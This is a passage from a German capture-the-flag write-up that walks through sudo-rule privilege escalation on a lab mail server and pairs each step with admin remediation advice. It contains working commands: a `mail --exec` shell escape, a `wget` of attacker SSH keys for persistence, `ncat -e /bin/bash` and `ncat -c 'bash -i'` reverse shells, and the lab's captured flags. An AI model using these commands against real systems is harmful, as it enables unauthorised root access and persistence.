drwxr-xr-x  2 root root 4096 Jan 15  2023 .
drwxr-xr-x 18 root root 4096 May 13  2023 ..
cain@mail:/var$ ls -la /tmp/
total 8
drwxrwxrwt  2 root root 4096 Sep 17 21:41 .
drwxr-xr-x 18 root root 4096 May 13  2023 ..
cain@mail:/var$ ls -la ~
total 24
drwx------ 3 cain cain 4096 May 13  2023 .
drwxr-xr-x 4 root root 4096 May 13  2023 ..
lrwxrwxrwx 1 root root    9 Apr 23  2023 .bash_history -> /dev/null
-rw------- 1 cain cain  220 Jan 15  2023 .bash_logout
-rw------- 1 cain cain 3526 Jan 15  2023 .bashrc
drwxr-xr-x 3 cain cain 4096 May 13  2023 .local
-rw------- 1 cain cain  807 Jan 15  2023 .profile
                     

Analyse: Suche nach SUID-Dateien wird als Benutzer `cain` durchgeführt.

Bewertung: Die Ergebnisse sind identisch zu den vorherigen Suchen. Es werden nur Standard-SUID-Binaries gefunden.

Empfehlung (Pentester): Prüfe `sudo -l` als nächsten Schritt.
Empfehlung (Admin): Keine neuen Erkenntnisse.

cain@mail:/var$ find / -type f -perm -4000 -ls 2>/dev/null
   263828     56 -rwsr-xr-x   1 root     root        55528 Jan 20  2022 /usr/bin/mount
   263458     72 -rwsr-xr-x   1 root     root        71912 Jan 20  2022 /usr/bin/su
   259697     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
   259700     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
   259698     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
   263830     36 -rwsr-xr-x   1 root     root        35040 Jan 20  2022 /usr/bin/umount
   273381    180 -rwsr-xr-x   1 root     root       182600 Jan 14  2023 /usr/bin/sudo
   259701     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
   263292     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
   273849    472 -rwsr-xr-x   1 root     root       481608 Jul  2  2022 /usr/lib/openssh/ssh-keysign
   264755     52 -rwsr-xr--   1 root     messagebus    51336 Oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
                     

Analyse: Der Befehl `sudo -l` wird als Benutzer `cain` ausgeführt, um dessen sudo-Berechtigungen zu prüfen.

Bewertung: **Kritischer Fund:** `cain` darf den Befehl `/usr/bin/mail` als Benutzer `abel` ohne Passwort ausführen (`(abel) NPASSWD: /usr/bin/mail`). Dies ermöglicht es `cain`, Befehle im Kontext des Benutzers `abel` auszuführen.

Empfehlung (Pentester): Nutze diese sudo-Regel zur horizontalen Bewegung (Lateral Movement) zum Benutzer `abel`. Führe `sudo -u abel /usr/bin/mail --exec='!/bin/sh'` (oder eine ähnliche Variante) aus, um eine Shell als `abel` zu erhalten.
Empfehlung (Admin): Diese sudo-Regel ist unsicher. Erlaube `mail` nicht via sudo, insbesondere nicht mit `NOPASSWD` und ohne Einschränkung der Argumente. Überprüfe alle sudo-Regeln sorgfältig.

cain@mail:/var$ sudo -l
Matching Defaults entries for cain on mail:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cain may run the following commands on mail:
    (abel) NPASSWD: /usr/bin/mail
                     

Analyse: Die unsichere sudo-Regel wird ausgenutzt. `sudo -u abel mail --exec='!/bin/sh'` wird ausgeführt, um eine Shell als Benutzer `abel` zu erhalten. Die Identität wird mit `id` überprüft und `bash` für eine bessere Shell gestartet.

Bewertung: Der Befehl ist erfolgreich. Eine Shell wird als `abel` (`uid=1001(abel)`) erlangt.

Empfehlung (Pentester): Horizontale Bewegung erfolgreich! Enumeriere nun als `abel`. Suche nach der User-Flag in `/home/abel`. Überprüfe `abel`s sudo-Rechte (`sudo -l`).
Empfehlung (Admin): Sudo-Regel entfernen! Überwache `sudo`-Ausführungen.

cain@mail:/var$ sudo -u abel mail --exec='!/bin/sh'
$ id
uid=1001(abel) gid=1001(abel) groups=1001(abel)
$ bash
abel@mail:/var$
                     

Analyse: Im Home-Verzeichnis von `abel` wird die Datei `user.txt` gefunden und ausgelesen.

Bewertung: Die User-Flag `170e07ec2a52b4c0583dadd5e04a2998` wird erfolgreich extrahiert.

Empfehlung (Pentester): User-Flag gesichert. Konzentriere dich nun auf die Eskalation zu Root-Rechten von `abel` aus.
Empfehlung (Admin): Sichern der User-Flags (Berechtigungen).

abel@mail:/var$ cd ~
abel@mail$ ls
user.txt
abel@mail$ cat user.txt
170e07ec2a52b4c0583dadd5e04a2998
                     
abel@mail$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1541 May 13  2023 /etc/passwd
                     

Analyse: Der Befehl `sudo -l` wird als Benutzer `abel` ausgeführt.

Bewertung: **Kritischer Fund für Root-Eskalation:** `abel` darf `/usr/bin/ncat -6 *` als `root` ohne Passwort ausführen (`(root) NPASSWD: /usr/bin/ncat -6 *`). Das Sternchen (`*`) bedeutet, dass beliebige Argumente an `ncat` übergeben werden können. Da `ncat` mit der Option `-e` oder `--exec` Befehle ausführen kann, ist dies ein direkter Weg zu einer Root-Shell.

Empfehlung (Pentester): Nutze diese sudo-Regel, um eine Root-Shell zu erhalten. Da nur IPv6 (`-6`) erlaubt ist, muss eine IPv6-Verbindung aufgebaut werden. Ein möglicher Ansatz: 1. Starte auf dem Zielsystem als `abel` einen `ncat`-Listener auf einem Port (z.B. 5555): `ncat -lvnp 5555`. 2. Finde die link-lokale IPv6-Adresse des Zielsystems (z.B. mit `ip -6 a`). 3. Führe den sudo-Befehl aus, um `ncat` als root zu starten, sich mit dem eigenen Listener zu verbinden und eine Bash-Shell bereitzustellen: `sudo -u root /usr/bin/ncat -6 % 5555 -e /bin/bash`. 4. Die im ersten Schritt gestartete `ncat`-Instanz sollte nun eine Root-Shell anzeigen.
Empfehlung (Admin): **Extrem unsichere sudo-Regel!** Entferne diesen Eintrag sofort. Erlaube niemals die Ausführung von Netzwerktools wie `ncat` mit sudo, insbesondere nicht mit `NOPASSWD` und uneingeschränkten Argumenten (`*`).

abel@mail$ sudo -l
Matching Defaults entries for abel on mail:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User abel may run the following commands on mail:
    (root) NPASSWD: /usr/bin/ncat -6 *
                     

Analyse: Es werden verschiedene Versuche unternommen, die `ncat`-Sudo-Regel auszunutzen, einschließlich Nmap-Scans gegen IPv6-Adressen und das Untersuchen von Mail-Dateien.

Bewertung: Die direkten `ncat`-Versuche scheinen fehlzuschlagen, möglicherweise aufgrund falscher Syntax oder Netzwerkproblemen mit IPv6. Der Nmap-Scan der IPv6-Adresse des Angreifers findet nur den Port 5555 offen (wahrscheinlich ein Test-Listener). Das Lesen der Mail-Datei von `cain` zeigt eine Bounce-Nachricht mit Sudo-Log-Informationen, aber keine direkten Hinweise für die Eskalation.

Empfehlung (Pentester): Die Mail-Enumeration war eine Sackgasse. Die fehlgeschlagenen `ncat`-Versuche deuten darauf hin, dass die Verbindung über IPv6 korrekt aufgebaut werden muss. Der Ansatz, einen Listener auf dem Ziel zu starten und sich dann lokal per IPv6 damit zu verbinden (wie später erfolgreich gezeigt), ist der robusteste Weg.
Empfehlung (Admin): Diese Schritte unterstreichen die Notwendigkeit, die unsichere sudo-Regel zu entfernen.

# ncat   --ssl  -c  "bash -i 2>&1"
# sudo -u root ncat -6 fe80a00:27ff:fe30:2eda --ssl  -c  "bash -i 2>&1" 443
                     
┌──(root㉿CCat)-[~] └─# nmap -6 fe80::a00:27ff:fe30:2eda
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-17 22:27 CEST
Nmap scan report for PC192-168-2-199 (fe80::a00:27ff:fe30:2eda)
Host is up (0.0000060s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE
5555/tcp open  freeciv

Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
                     
abel@mail$ cd /var/mail/
abel@mail:/var/mail$ ls -la
total 12
drwxrwxrwx  2 root root 4096 sep 17 22:15 .
drwxr-xr-x 12 root root 4096 may 13  2023 ..
-rwxrwxrwx  1 cain cain 2274 sep 17 22:15 cain
abel@mail:/var/mail$ cat cain
From MAILER-DAEMON@mail.nyx (Mail Delivery System)
Subject: Undelivered Mail Returned to Sender
To: cain@mail.nyx
... (Mail Inhalt gekürzt) ...
Diagnostic-Code: X-Postfix; unknown user: "user"
...
Subject: * SECURITY information for mail *
...
mail : Sep 17 20:15:02 : cain : a password is required ; TTY=pts/0 ; PWD=/var ; USER=root ; COMMAND=/usr/bin/mail --exec=!/bin/sh
...
                     

Analyse: Um eine stabilere Arbeitsumgebung zu schaffen, wird SSH-Zugriff für `abel` eingerichtet. Ein `.ssh`-Verzeichnis wird erstellt, der öffentliche SSH-Schlüssel des Angreifers wird als `authorized_keys` heruntergeladen (angenommen, er wird auf dem Angreifer-Webserver bereitgestellt). Anschließend wird eine SSH-Verbindung als `abel` mit dem privaten Schlüssel hergestellt.

Bewertung: Die Einrichtung des SSH-Zugangs ist erfolgreich. Dies bietet eine zuverlässige interaktive Shell für die weiteren Schritte.

Empfehlung (Pentester): Nutze die SSH-Verbindung für die Ausführung der Privilege-Escalation-Befehle.
Empfehlung (Admin): Überwache die Erstellung von `.ssh`-Verzeichnissen und Änderungen an `authorized_keys`-Dateien.

abel@mail$ mkdir .ssh
abel@mail$ cd .ssh/
abel@mail/.ssh$ wget 192.168.2.199/authorized_keys
--2024-09-17 22:32:41--  http://192.168.2.199/authorized_keys
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 91 [application/octet-stream]
Saving to: ‘authorized_keys’

authorized_keys       100%[===================>]      91  --.-KB/s    in 0s

2024-09-17 22:32:41 (34.8 MB/s) - ‘authorized_keys’ saved [91/91]
                     
┌──(root㉿CCat)-[~] └─# ssh abel@mail.nyx -i .ssh/id_rsa
The authenticity of host 'mail.nyx (192.168.2.110)' can't be established.
ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns.
... (Host Key Information) ...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'mail.nyx' (ED25519) to the list of known hosts.
Enter passphrase for key '.ssh/id_rsa': [Passphrase eingegeben]
Linux mail 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
...
abel@mail$
                     

Proof of Concept (Sudo Abuse via Mail/Ncat)

Analyse: Die Privilege Escalation wird nun mittels der `ncat`-sudo-Regel durchgeführt. 1. Die link-lokale IPv6-Adresse des Zielsystems wird mit `ip -6 a` ermittelt. 2. In einer Shell als `abel` (z.B. die ursprüngliche Reverse Shell) wird ein `ncat`-Listener auf Port 5555 gestartet (`ncat -lvnp 5555`). 3. `ss -altpn` wird ausgeführt, um zu bestätigen, dass der Listener aktiv ist. 4. In einer zweiten Shell als `abel` (z.B. die SSH-Session) wird der `sudo`-Befehl ausgeführt: `sudo -u root ncat -6 % 5555 -e /bin/bash`. Dieser Befehl weist `ncat` (als root) an, sich via IPv6 mit dem lokalen Listener auf Port 5555 zu verbinden und eine Bash-Shell bereitzustellen. 5. Die Ausgabe des ersten `ncat`-Listeners wird beobachtet.

Bewertung: Der Plan funktioniert perfekt: * Die IPv6-Adresse (`fe80::a00:27ff:fe89:7ade`) wird korrekt identifiziert. * Der Listener startet erfolgreich. * Der `sudo ncat`-Befehl verbindet sich erfolgreich mit dem lokalen Listener. * Der erste `ncat`-Listener empfängt die Verbindung und zeigt eine Root-Shell (`uid=0(root) gid=0(root) groups=0(root)`). Root-Zugriff wurde durch Ausnutzung der unsicheren sudo-Regel erlangt.

Empfehlung (Pentester): Root-Zugriff erlangt! Navigiere zu `/root` und lies die `root.txt`-Flag. Dokumentiere den Angriffspfad.
Empfehlung (Admin): **Entferne die unsichere sudo-Regel für `abel` sofort!** Dies ist eine kritische Schwachstelle, die direkten Root-Zugriff ermöglicht.

abel@mail/.ssh$ ip -6 a
1: lo:  mtu 65536 state UNKNOWN qlen 1000
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: enp0s3:  mtu 1500 state UP qlen 1000
    inet6 2003:d4:c71f:e396:a00:27ff:fe89:7ade/64 scope global dynamic mngtmpaddr
       valid_lft 604797sec preferred_lft 86397sec
    inet6 fe80::a00:27ff:fe89:7ade/64 scope link
       valid_lft forever preferred_lft forever
abel@mail/.ssh$ ncat -lvnp 5555
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
                     
abel@mail:/var/mail$ ss -altpn
State    Recv-Q   Send-Q     Local Address:Port      Peer Address:Port   Process
LISTEN   0        10               0.0.0.0:5555           0.0.0.0:*       users:(("ncat",pid=5321,fd=4))
LISTEN   0        128              0.0.0.0:22             0.0.0.0:*
LISTEN   0        100              0.0.0.0:25             0.0.0.0:*
LISTEN   0        511                    *:80                   *:*
LISTEN   0        10                  [::]:5555              [::]:*       users:(("ncat",pid=5321,fd=3))
LISTEN   0        128                 [::]:22                [::]:*
LISTEN   0        100                 [::]:25                [::]:*
                     
abel@mail:/var/mail$ sudo -u root ncat -6 fe80::a00:27ff:fe89:7ade%enp0s3 5555 -e /bin/bash
                     
abel@mail/.ssh$ ncat -lvnp 5555
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from ::1.
Ncat: Connection from ::1:48556.
id
uid=0(root) gid=0(root) groups=0(root)
#
                     

Analyse: In der erlangten Root-Shell wird die Root-Flag aus `/root/root.txt` ausgelesen.

Bewertung: Die Root-Flag `9f0541ef5fd69bfc3b2d4507eaf2a9db` wird erfolgreich extrahiert.

Empfehlung (Pentester): Beide Flags (User und Root) wurden gefunden. Der Penetrationstest ist erfolgreich abgeschlossen. Erstelle den finalen Bericht.
Empfehlung (Admin): System bereinigen, Schwachstellen (LFI, unsichere sudo-Regeln) beheben.

# cat /root/root.txt
9f0541ef5fd69bfc3b2d4507eaf2a9db
                     

Flags

cat /home/abel/user.txt
170e07ec2a52b4c0583dadd5e04a2998
cat /root/root.txt
9f0541ef5fd69bfc3b2d4507eaf2a9db